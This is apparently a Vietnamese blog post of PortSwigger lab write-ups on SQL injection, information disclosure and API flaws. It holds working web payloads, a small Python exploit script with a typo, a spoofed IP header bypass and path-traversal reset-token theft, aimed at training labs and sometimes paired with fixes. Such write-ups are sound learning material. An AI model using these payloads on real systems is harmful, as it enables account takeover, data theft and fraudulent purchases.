Tản mạn

Mùa hè năm nay mình được giao 3 task để phát triển bản thân và hành trình luyện công lại từ đầu bao gồm:

  • Solve full PortSwigger
  • Solve full WebGoat
  • Học khóa CBJS

Đây sẽ là bài blog full writeup của PortSwigger của mình (sẽ update theo thời gian) :>

Mỗi bài lab sẽ đi theo cấu trúc 3 phần:

  1. Nguyên nhân
  2. POC
  3. Script exploit / Cách khắc phục

Server-side Labs

SQL Injection

Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

1. Phân tích

Lỗ hổng nằm ở chức năng lọc sản phẩm theo danh mục (categories filter): /filter?category=Accessories

Chức năng này nhận input từ người dùng thông qua tham số category, sau đó thực hiện gửi truy vấn đến database với query như sau:

1
SELECT * FROM products WHERE category = 'Accessories' AND released = 1

Trong ngữ cảnh này, ta có thể thấy input từ người dùng được truyền trực tiếp vào trong câu query mà không sanitize, từ đó bị attacker lợi dụng để thực hiện SQL injection tại parameter category của chức năng filter

Thực hiện gửi một request:

1
2
GET /filter?category=Gift'

Lúc này, câu query được gửi đi sẽ là:

1
SELECT * FROM products WHERE category = 'Gift'' AND released = 1

Câu query hiện tại đang dư 1 dấu nháy đơn ' khiến cho cú pháp bị sai và sẽ không thực thi được. Do đó server sẽ trả về response với status code là 500 - Internal Server Error. Từ đó xác nhận rằng mục tiêu đang có lỗ hổng SQL Injection tại điểm đó và mục tiêu của chúng ta là khai thác để trả về những sản phẩm chưa được bày bán (released = 0).

2. POC

Gửi một request với payload như sau:

1
GET /filter?category=Gift' OR 1=1-- 

Lúc này câu query sẽ là:

1
SELECT * FROM products WHERE category = 'Gift' OR 1=1-- '

Vì điều kiện ở vế sau luôn đúng, nên câu query sẽ trả về tất cả sản phẩm trong bảng products, bao gồm mọi thể loại và trạng thái bày bán (released = 0 & released = 1)

Solve thành công

3. Script khai thác

1
2
3
4
5
6
7
8
9
10
11
import requests

BASE_URL = input("Enter target URL: ")
PAYLOAD = "' OR 1=1-- "

response = requests.get(f"{BASE_URL}/filter?cateogory=Gifts{PAYLOAD}")

if "Congratulations" in response.text:
print("You have successfully attack the database!")
else:
print("Not found.")

4. Cách khắc phục

  • Áp dụng parameterized queries như sau:
1
2
3
4
5
String category = request.getParameter("category");
String query = "SELECT * FROM products WHERE category = ? AND released = 1 ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, category);
ResultSet results = pstmt.executeQuery( );
  • Thực hiện sanitize input từ người dùng và từ database (stored SQLi).

Information Disclosure

Lab 1: Information disclosure in error messages

1. Phân tích

Đề bài yêu cầu chúng ta tìm version của framework có lỗ hổng của bên thứ 3.

2. POC

Quan sát chung thì web này chỉ có chức năng là xem từng sản phẩm ở endpoint: /product?productId=1

Parameter productId này đang nhận vào một số nguyên có khả năng bắt đầu từ 0 hoặc 1, vậy mình cho input là chữ cái và gửi request:
Thông báo lỗi

Thế là ta thu được thông tin về framework: Apache Struts 2 2.3.31
Solve challenge

Lab 2: Information disclosure on debug page

1. Phân tích

Đề bài yêu cầu chúng ta tìm biến môi trường SECRET_KEY giấu ở trong một trang debug trên website.

2. POC

Sau khi vào lab, mình xem qua source của trang HTML thì tìm được dòng này ở dưới cùng của trang web:

1
<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->

Khi truy cập vào, mình nhận được trang PHP Info - một trang cung cấp thông tin về phiên bản PHP đang sử dụng và các cấu hình của server
Trang phpinfo

Trong đó, mình tìm được biến môi trường SECRET_KEY đang cần tìm: SECRET_KEY=7axdy1lelfjxnbekcez0tk0flg3eshky, thế là thành công solve challenge:
Solve challenge

Lab 3: Source code disclosure via backup files

1. Phân tích

Đề bài yêu cầu chúng ta tìm ra password của database được hard-code trong source, source sẽ nằm trong một directory backup nào đó được giấu đi.

2. POC

Khi truy cập vào trang lab, mình thử với đường dẫn /backup/:
Directory Backup

Và đây là source code trong productTemplate.java.bak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;

private final String id;
private transient Product product;

public ProductTemplate(String id)
{
this.id = id;
}

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();

ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"7t31k2pe0y7h3mua1k5o0utzkh7rm9k7"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}

public String getId()
{
return id;
}

public Product getProduct()
{
return product;
}
}

Trong đó, mình tìm thấy password của database: 7t31k2pe0y7h3mua1k5o0utzkh7rm9k7

Thế là thành công solve challenge
Solve challenge

Lab 4: Authentication bypass via information disclosure

1. Phân tích

Đề bài yêu cầu người dùng tận dụng một HTTP header để bypass authentication, đăng nhập vào trang admin và xóa đi user carlos.

2. POC

Khi vào lab challenge, mình thử vào đường dẫn sau: /admin
Truy cập trang admin

Theo gợi ý của đề bài, mình cần tìm ra và tận dụng một HTTP header để bypass được chỗ này, theo kiến thức của lab này, mình đổi HTTP method thành trace ở đây và thử lại:
Đổi method thành TRACE

Từ trong reponse, mình thấy được một header lạ ở cuối cùng là: X-Custom-IP-Authorization: 104.28.249.53

Header này cung cấp địa chỉ IP của mình cho server, vậy giờ mình đổi thử nó thành một IP đặt biệt như 127.0.0.1 thử xem có bypass được không:
Bypass thành công

Ở đây, mình bypass thành công và xem được nội dung trang admin, từ đó thấy được endpoint dùng để xóa user carlos:

1
/admin/delete?username=carlos

Giữ header như cũ, thay đổi đường dẫn thành đường dẫn trên, thế là mình thành công xóa đi user carlos và solve thành công challenge
Solve challenge

Lab 5: Information disclosure in version control history

1. Phân tích

Đề bài yêu cầu chúng ta tìm ra password của user administrator trong version control, đăng nhập vào và xóa đi user carlos.

2. POC

Nghet tới version control thì mình nghĩ ngay tới .git và quả nhiên nó có thật:
Tìm ra /.git

Mình đưa thư mục này về WSL và bắt đầu tìm thông tin trong đó. Đầu tiên, mình giải nén các blob và lấy các nội dung file:

1
git --git-dir=.git --work-tree=. checkout -f

Sau đó mình khôi phục được 2 file là: admin.confadmin_panel.php

Sau khi đọc thử file admin.conf:

1
2
3
┌──(long㉿ADMIN)-[~/recovered_repo]
└─$ cat admin.conf
ADMIN_PASSWORD=env('ADMIN_PASSWORD')

Mình nhận ra có lẽ đây là file từng chứa hard-code password, mình kiểm tra lại log commit:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(long㉿ADMIN)-[~/recovered_repo]
└─$ git log -- admin.conf
commit e4a030986f9a773643296761fc27237a7c79f243 (HEAD -> master)
Author: Carlos Montoya <carlos@carlos-montoya.net>
Date: Tue Jun 23 14:05:07 2020 +0000

Remove admin password from config

commit ee486a58069615271a5ad0e6c1583c10b4ad8e36
Author: Carlos Montoya <carlos@carlos-montoya.net>
Date: Mon Jun 22 16:23:42 2020 +0000

Add skeleton admin panel

Okela, đúng là từng bị hard-code thật, giờ tìm trong commit đó xem thứ gì bị thay đổi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(long㉿ADMIN)-[~/recovered_repo]
└─$ git show e4a030986f9a773643296761fc27237a7c79f243 -- admin.conf
commit e4a030986f9a773643296761fc27237a7c79f243 (HEAD -> master)
Author: Carlos Montoya <carlos@carlos-montoya.net>
Date: Tue Jun 23 14:05:07 2020 +0000

Remove admin password from config

diff --git a/admin.conf b/admin.conf
index b0ad4a1..21d23f1 100644
--- a/admin.conf
+++ b/admin.conf
@@ -1 +1 @@
-ADMIN_PASSWORD=74c9y6z30x5yb2zoyx10
+ADMIN_PASSWORD=env('ADMIN_PASSWORD')

Thế là mò ra được ADMIN_PASSWORD=74c9y6z30x5yb2zoyx10. Giờ mình chỉ cần đăng nhập và xóa đi user carlos là xong.

Solve thành công challenge

API Testing

Lab 1: Exploiting an API endpoint using documentation

1. Phân tích

Để hoàn thành bài Lab, chúng ta cần:

  • Tìm ra API bị lộ
  • Sử dụng API để xóa đi user carlos

Với API bị lộ, mình thử vui một endpoint là: https:domain.com/api/ và vô tình tìm được document của nó.
API documentation

Các endpoint và method được hỗ trợ bao gồm:

1
2
3
- GET /user/{username} -> Trả về thông tin của một người dùng (username & email).
- DELETE /user/{username} -> Xóa một người dùng khỏi database và trả về kết quả.
- PATCH /user/{username} -> Chỉnh sửa thông tin một người dùng.

Vậy để xóa người dùng carlos, ta cần dùng method DELETE để xóa đi user này.

2. POC

Sau khi đăng nhập, ta gửi một request đến endpoint api/user/carlos với method DELETE
Delete user carlos

Kiểm tra lại với method GET, ta thấy kết quả như sau:

1
2
3
4
5
6
7
8
9
10
11
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 58

{
"type":"ClientError",
"code":404,
"error":"User not found"
}

Thế là ta đã đạt được mục tiêu:

Solve the lab

Lab 2: Exploiting server-side parameter pollution in a query string

1. Phân tích

Đề bài yêu cầu chúng ta:

  • Khai thác một parameter được dùng trong một internal API.
  • Xóa đi user carlos.

2. POC

Sau khi kiểm tra thì mình nhận ra chỗ bị lỗi là chức năng forgot password ở trang My Account.

Gửi POST request với username là administrator

Ở đây, mình khai thác thông qua POST param của request gửi đi là username

Ở đây, chức năng này đang gọi tới một internal API với nhiều tham số, một trong các tham số là username, vậy giờ mình thử xem các thông báo lỗi nó có thể trả về là gì, ở đây mình thử chèn bừa một tham số là hehe

1
username=administrator%26hehe=haha

Chèn một parameter không tồn tại

Vậy giờ ta kiểm tra nếu chỉ gửi 1 tham số duy nhất là username, comment hết các tham số phía sau thì lỗi trả về sẽ thế nào ?

Chỉ gửi một tham số

Ở chỗ này thì nó hơi guessing, ban đầu mình nghĩ ý của nó là có một param nào đó chưa được truyền giá trị và chúng ta phải đi đoán được tên param (field) đó, chẳng hạn email = xyz. Hóa ra bản thân field đã là một param =))))

Chèn giá trị bất kỳ vào param field

Lúc này thì tới đây thì xác nhận được rằng param field có tồn tại, giờ mình phải ngồi suy luận xem giá trị nào được truyền vào field. Lúc này mình nhớ lại nếu không có trường field này từ đầu, thì response của nó sẽ trả về:

1
2
3
4
{
"type":"email",
"result":"*****@normal-user.net"
}

Vậy nghĩa là field này sẽ trả về trường thông tin được yêu cầu từ người dùng với username tương ứng, trong trường hợp này thì field sẽ là email vì type đang trả về là email. Trong giai đoạn đầu, mình đã tìm được một file forgotPassword.js và chức năng đó có một đoạn như sau:

1
2
3
4
{
window.location.href = `/forgot-password?reset_token=${resetToken}`;
}

Vậy giờ mình thử tìm reset_token của admin bằng cách thay giá trị thành field=reset_token

1
2
3
4
{
"type":"reset_token",
"result":"si8306a4n89qc90ewaf89n7ygfradq2s"
}

Bingo, vậy giờ chỉ cần gửi một GET request với path /forgot-password?reset_token=si8306a4n89qc90ewaf89n7ygfradq2s thì sẽ có thể reset được password của user administrator

Thay đổi password của administrator

Giờ chỉ cần login và xóa user carlos là xong.

Solve lab

Lab 3: Finding and exploiting an unused API endpoint

1. Phân tích:

Đề bài yêu cầu chúng ta khai thác một endpoint ẩn và dùng nó để mua được vật phẩm Lightweight l33t Leather Jacket.

Sau khi kiểm tra sơ qua source trên browser thông qua DevTools thì mình tìm được một file ở đường dẫn /resources/js/api/productPrice.js. Đây chính là file JS xử lý hiển thị các thông báo liên quan đến sản phẩm, trong đó mình tìm được đoạn này:

1
2
3
4
5
6
const loadPricing = (productId) => {
const url = new URL(location);
fetch(`//${url.host}/api/products/${encodeURIComponent(productId)}/price`)
.then(res => res.json())
.then(handleResponse(getAddToCartForm()));
};

2. POC

Ở đoạn này, nó đang cố gọi tới một API với đường dẫn /api/products/:productId/price. Mình thử tìm id của vật phẩm được yêu cầu là Lightweight l33t Leather Jacket thì tìm ra được /product?productId=1.

Sau đó, mình thực hiện gửi một request GET /api/products/1/price và nhận được response như sau:

1
2
3
4
5
6
7
8
9
10
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=pCwPbxeax4IRwsnp86G1z6bSsHn5iZfM; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 94

{
"price":"$1337.00",
"message":"&#x1F525; 34 users have purchased this in the last 27 minutes"
}

Bingo, vậy là giờ mình chỉ cần tìm cách để thay đổi giá tiền của sản phẩm này là được. Mình thử thay method GET thành OPTION (method dùng để kiểm tra xem endpoint này đang hỗ trợ bao nhiêu method).

Đổi method thành OPTION

Ở đây, chúng ta thấy ngoài GET thì endpoint này còn nhận cả PATCH - method dùng để chỉnh sửa thông tin, vậy giờ mình thử gửi một PATCH request với body rỗng xem nó sẽ báo lỗi gì:

Gửi PATCH request để kiểm tra

Chúng ta thấy rằng server đang yêu cầu header Content-Type: application/json, sau đó mình thêm header vào và gửi lại. Lần này server trả về status 500 Internal Server Error. Mình tiếp tục thêm body JSON vào và lần này đã có tiến triển:

Thêm body vào request

Lần này, server yêu cầu rằng giá trị truyền vào trong tham số price phải là số nguyên không âm, vậy mình chỉnh lại thành số 0 và tiếp tục gửi:

Đổi giá tiền

Ta thấy rằng giá tiền đã thay đổi thành công. Giờ chỉ cần mua hàng là được.
Mua hàng thành công

Lab 4: Exploiting a mass assignment vulnerability

1. Phân tích

Đề yêu cầu chúng ta:

  • Khai thác một API dính lỗi tự động gán thuộc tính, giá trị hàng loạt cho một object nào đó mà không kiểm tra quyền.
  • Mua được vật phẩm Lightweight "l33t" Leather Jacket.

2. POC

Sau khi đăng nhập với credentials được cung cấp, mình có được giá trị store credit bằng $0 và mình cần mua được vật phẩm với giá $1337.0. Vậy khả năng cao là cần nâng credit của bản thân hoặc giảm credit của vật phẩm xuống. Mình thử phân tích các request và tìm được một POST request tới api /api/checkout với body như sau:

1
2
3
{
"chosen_products":[{"product_id":"1","quantity":1}]
}

Đổi method thành GET và giữ nguyên body, ta nhận được resposne như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"chosen_discount":{
"percentage":0
},

"chosen_products":[
{
"product_id":"1",
"name":"Lightweight \"l33t\" Leather Jacket",
"quantity":1,
"item_price":133700
}
]
}

Ta nhận được một array chosen_products với 4 cặp key-value, ở đây ngoại trừ 2 key đã biết là product_idquantity thì ta còn biết được thêm 2 cặp là nameitem_price. Ta thêm 2 cặp key-value đấy vào trong array ban đầu của request, chỉnh sửa item_price: 0 và gửi đi. Kết quả là:

1
2
3
4
HTTP/2 201 Created
Location: /cart?err=INSUFFICIENT_FUNDS
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Vẫn là lỗi cũ INSUFFICIENT_FUNDS, lúc này mình chú ý tới một object còn lại trong body là:

1
2
3
4
5
{
"chosen_discount":{
"percentage":0
}
}

Nếu không thể thay đổi giá tiền mặc định, vậy mình có thể đặt giảm giá thành 100%, thế là mình gửi một request chỉnh sửa "percentage":0 và nhận được reponse:

1
2
3
4
HTTP/2 201 Created
Location: /cart/order-confirmation?order-confirmed=true
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Mua hàng thành công

Lab 5: Exploiting server-side parameter pollution in a REST URL

1. Phân tích

Đề yêu cầu chúng ta:

  • Login vào user administrator
  • Xóa đi user carlos

2. POC

Ở đây, chúng ta gặp lại chức năng cũ ở lab 2 là forgot password với internal API. Tuy nhiên, thay vì xử lý và trả về kết quả dạng JSON thì lần này API nhận và xử lý tham số theo dạng REST URL (thay vì nhận một đống parameter như /user.php?username=carlos thì nó gắn parameter vào trong cấu trúc của URL như /user/carlos luôn).

Đầu tiên, ta cần xác nhận rằng lỗi này tồn tại ở POST parameter username, thử gửi một giá trị không hợp lệ (chứa syntax của URL) như:
Xác nhận lỗ hổng tồn tại

Tiếp tục xác nhận với payload username=carlos/../administrator, ta được response:

1
2
3
4
{
"type":"email",
"result":"*****@normal-user.net"
}

Điều này xác nhận rằng API này hoạt động theo dạng REST URL. Sau hơn 1 tiếng đoán mò thì mình quyết định đi tìm API documentation của nó chứ không thể đoán mò được nữa, mình thử theo list của PortSwigger đưa ra thì có openapi.json dính:

Tìm được API documentation

Sau khi lọc lại response cho dễ nhìn thì nó trông như này:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"error": "Unexpected response from API server:",
"response": {
"openapi": "3.0.0",
"info": {
"title": "User API",
"version": "2.0.0"
},
"paths": {
"/api/internal/v1/users/{username}/field/{field}": {
"get": {
"tags": ["users"],
"summary": "Find user by username",
"description": "API Version 1",
"parameters": [
{
"name": "username",
"in": "path",
"description": "Username",
"required": true,
"schema": {
"...": "..."
}
}
]
}
}
}
}
}

Trong này, mình tìm được 2 thông tin siêu hữu ích là:

  • path: /api/internal/v1/users/{username}/field/{field}
  • Tồn tại 2 version của API là v1 và v2.0.0

Mình thử với payload: username=administrator/field/passwordResetToken%23 và nhận được response:

1
2
3
4
{
"type": "error",
"result": "This version of API only supports the email field for security reasons"
}

Vậy khả năng cao mình cần đổi version của api về v1, mình thử lại với payload mới: username=../../../v1/users/administrator/field/paswordResetToken%23 và nhận được response:

1
2
3
4
{
"type": "passwordResetToken",
"result": "pwueqk87vkf0dt864ljzkfy42cwdm0dk"
}

Giờ chỉ cần gửi token này tới endpoint: /forgot-password?passwordResetToken=pwueqk87vkf0dt864ljzkfy42cwdm0dk

Lúc này, ta vào xóa user carlos và solve challenge:

Solve challenge

Client-side Labs

Updating …

Advanced Labs

Updating …